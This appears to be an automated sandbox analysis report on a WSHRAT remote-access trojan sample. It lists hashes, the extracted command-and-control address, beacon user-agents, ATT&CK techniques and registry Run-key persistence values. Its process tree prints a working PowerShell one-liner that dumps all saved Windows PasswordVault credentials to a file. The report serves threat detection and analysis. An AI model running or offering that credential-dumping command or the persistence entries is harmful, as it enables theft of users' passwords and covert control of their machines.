wshrat | 267de4719ac7c2396cc95b3008d081b066940d637fcc83cf6d6c4b977b71fdbc

General

Target

088388210.js
Size

1.0MB
MD5

4a9c3350ea162c4d477a59ebfa70e8ca
SHA1

8dae3719af54dbd33604e1a79b026da35304aa32
SHA256

267de4719ac7c2396cc95b3008d081b066940d637fcc83cf6d6c4b977b71fdbc
SHA512

4006fb27e2bbf3f71a0f6e6cecae7381665a943cd8b8d325efb53cf12fe3b7953abd8fd3a57b7172d0b6a303ec600a24efe8105b53a548f4f197ba5cad43bcd9
SSDEEP

3072:sofZp+Z5aQBe6RYxPAHJ1mM3WXmnsgWrApRKI:sofZp+Z5aQBe6RYxPJgWi1

Score

10^/10

wshrat persistence trojan

Malware Config

Extracted

Family

wshrat

C2

http://45.90.222.125:7121

Signatures

WSHRAT
WSHRAT is a variant of Houdini worm and has vbs and js variants.
trojan wshrat

Blocklisted process makes network request 8 IoCs

flow	pid	Process
2	1196	wscript.exe
3	712	wscript.exe
7	712	wscript.exe
8	712	wscript.exe
9	712	wscript.exe
10	712	wscript.exe
11	712	wscript.exe
13	712	wscript.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\088388210.js	wscript.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\088388210.js	wscript.exe

Adds Run key to start application 2 TTPs 8 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\088388210 = "wscript.exe //B \"C:\\Users\\Admin\\AppData\\Roaming\\088388210.js\""	wscript.exe
Key created	\REGISTRY\USER\S-1-5-21-1914912747-3343861975-731272777-1000\software\microsoft\windows\currentversion\run	wscript.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1914912747-3343861975-731272777-1000\Software\Microsoft\Windows\CurrentVersion\Run\088388210 = "wscript.exe //B \"C:\\Users\\Admin\\AppData\\Roaming\\088388210.js\""	wscript.exe
Key created	\REGISTRY\MACHINE\software\microsoft\windows\currentversion\run	wscript.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\088388210 = "wscript.exe //B \"C:\\Users\\Admin\\AppData\\Roaming\\088388210.js\""	wscript.exe
Key created	\REGISTRY\USER\S-1-5-21-1914912747-3343861975-731272777-1000\software\microsoft\windows\currentversion\run	wscript.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1914912747-3343861975-731272777-1000\Software\Microsoft\Windows\CurrentVersion\Run\088388210 = "wscript.exe //B \"C:\\Users\\Admin\\AppData\\Roaming\\088388210.js\""	wscript.exe
Key created	\REGISTRY\MACHINE\software\microsoft\windows\currentversion\run	wscript.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
6	ip-api.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Script User-Agent 8 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	9	WSHRAT\|706EFC06\|TMRJMUQF\|Admin\|Microsoft Windows 7 Ultimate \|plus\|nan-av\|false - 2/6/2023\|JavaScript-v3.4\|IN:India
HTTP User-Agent header	10	WSHRAT\|706EFC06\|TMRJMUQF\|Admin\|Microsoft Windows 7 Ultimate \|plus\|nan-av\|false - 2/6/2023\|JavaScript-v3.4\|IN:India
HTTP User-Agent header	11	WSHRAT\|706EFC06\|TMRJMUQF\|Admin\|Microsoft Windows 7 Ultimate \|plus\|nan-av\|false - 2/6/2023\|JavaScript-v3.4\|IN:India
HTTP User-Agent header	15	WSHRAT\|706EFC06\|TMRJMUQF\|Admin\|Microsoft Windows 7 Ultimate \|plus\|nan-av\|false - 2/6/2023\|JavaScript-v3.4\|IN:India
HTTP User-Agent header	16	WSHRAT\|706EFC06\|TMRJMUQF\|Admin\|Microsoft Windows 7 Ultimate \|plus\|nan-av\|false - 2/6/2023\|JavaScript-v3.4\|IN:India
HTTP User-Agent header	2	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	3	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	8	WSHRAT\|706EFC06\|TMRJMUQF\|Admin\|Microsoft Windows 7 Ultimate \|plus\|nan-av\|false - 2/6/2023\|JavaScript-v3.4\|IN:India

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1196 wrote to memory of 712	1196	wscript.exe	28
PID 1196 wrote to memory of 712	1196	wscript.exe	28
PID 1196 wrote to memory of 712	1196	wscript.exe	28

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\088388210.js
1⤵
- Blocklisted process makes network request
- Drops startup file
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:1196
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" //B "C:\Users\Admin\AppData\Roaming\088388210.js"
  2⤵
  - Blocklisted process makes network request
  - Drops startup file
  - Adds Run key to start application
  PID:712
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -command [void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime] $vault = New-Object Windows.Security.Credentials.PasswordVault $vault.RetrieveAll() | % { $_.RetrievePassword();$_ } > "C:\Users\Admin\AppData\Local\Temp\tmp.txt"
    3⤵
    PID:2636

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\088388210.js

Filesize
1.0MB

MD5
4a9c3350ea162c4d477a59ebfa70e8ca

SHA1
8dae3719af54dbd33604e1a79b026da35304aa32

SHA256
267de4719ac7c2396cc95b3008d081b066940d637fcc83cf6d6c4b977b71fdbc

SHA512
4006fb27e2bbf3f71a0f6e6cecae7381665a943cd8b8d325efb53cf12fe3b7953abd8fd3a57b7172d0b6a303ec600a24efe8105b53a548f4f197ba5cad43bcd9

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\088388210.js

Filesize
1.0MB

MD5
94633f39c9d45e931b6d024f7f441752

SHA1
087fd83a251d40e746d6796a7c15ddcf0724d113

SHA256
3552a5afd24c321bf33d93c07235bee66a877b8f28de3716a7be1f45af68fcd1

SHA512
df9afc994c8d6d5032afc699259b0d0193da4d3d232fbfd4a97e3bd54e52824a175b7fffb24515f113583458fa3a5a42a14b4f916210ba4e661781ade6ba2d63

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\088388210.js

Filesize
1.0MB

MD5
4a9c3350ea162c4d477a59ebfa70e8ca

SHA1
8dae3719af54dbd33604e1a79b026da35304aa32

SHA256
267de4719ac7c2396cc95b3008d081b066940d637fcc83cf6d6c4b977b71fdbc

SHA512
4006fb27e2bbf3f71a0f6e6cecae7381665a943cd8b8d325efb53cf12fe3b7953abd8fd3a57b7172d0b6a303ec600a24efe8105b53a548f4f197ba5cad43bcd9

Download Submit
C:\Users\Admin\AppData\Roaming\wshsdk.zip

Filesize
12.4MB

MD5
d9a63dfd8b73629421bb44bcde09f312

SHA1
7855575c12eaee0e734f3901ca1da2931e9b587a

SHA256
9d5bb028794410fda9d1b3e0f8deb6beee5bd4e1e55340bd375a209c81dc98eb

SHA512
df195c22f7818569cc92e995846ab507caa30f341ac902cc8afe6f06ae4493709e7f80357c91cf14b21e58e2154e0b35f2154d8a313bf36fcff0b72b3a539cf8

Download Submit
C:\Users\Admin\AppData\Roaming\wshsdk\Lib\SITE-P~1\adodbapi\test\is64bit.py

Filesize
1KB

MD5
ca2cc8e73bbca371935bbc92ed18d567

SHA1
1adb458919e842cd78c72b1ff00e5e93cb6ef75e

SHA256
bea3f797921992fda45c19db41e10e3b325bcdd3ea35d35c1fa70535477ad9c1

SHA512
b63df3bad9272f45ba0f50e2c50aaed7a04eb1b000d5855d9f3a8e5c5f2d381c667b1e9c1e1f03f80584a7941a96992838664ae9dd25e1b8320e026da35b8223

Download Submit
memory/712-11591-0x000007FEFABB0000-0x000007FEFABB8000-memory.dmp

Filesize
32KB

Download
memory/2636-23890-0x000000001B270000-0x000000001B552000-memory.dmp

Filesize
2.9MB

Download
memory/2636-23891-0x00000000023A0000-0x00000000023A8000-memory.dmp

Filesize
32KB

Download
memory/2636-23892-0x0000000002530000-0x00000000025B0000-memory.dmp

Filesize
512KB

Download
memory/2636-23893-0x0000000002530000-0x00000000025B0000-memory.dmp

Filesize
512KB

Download
memory/2636-23894-0x0000000002530000-0x00000000025B0000-memory.dmp

Filesize
512KB

Download
memory/2636-23895-0x0000000002530000-0x00000000025B0000-memory.dmp

Filesize
512KB

Download

Analysis

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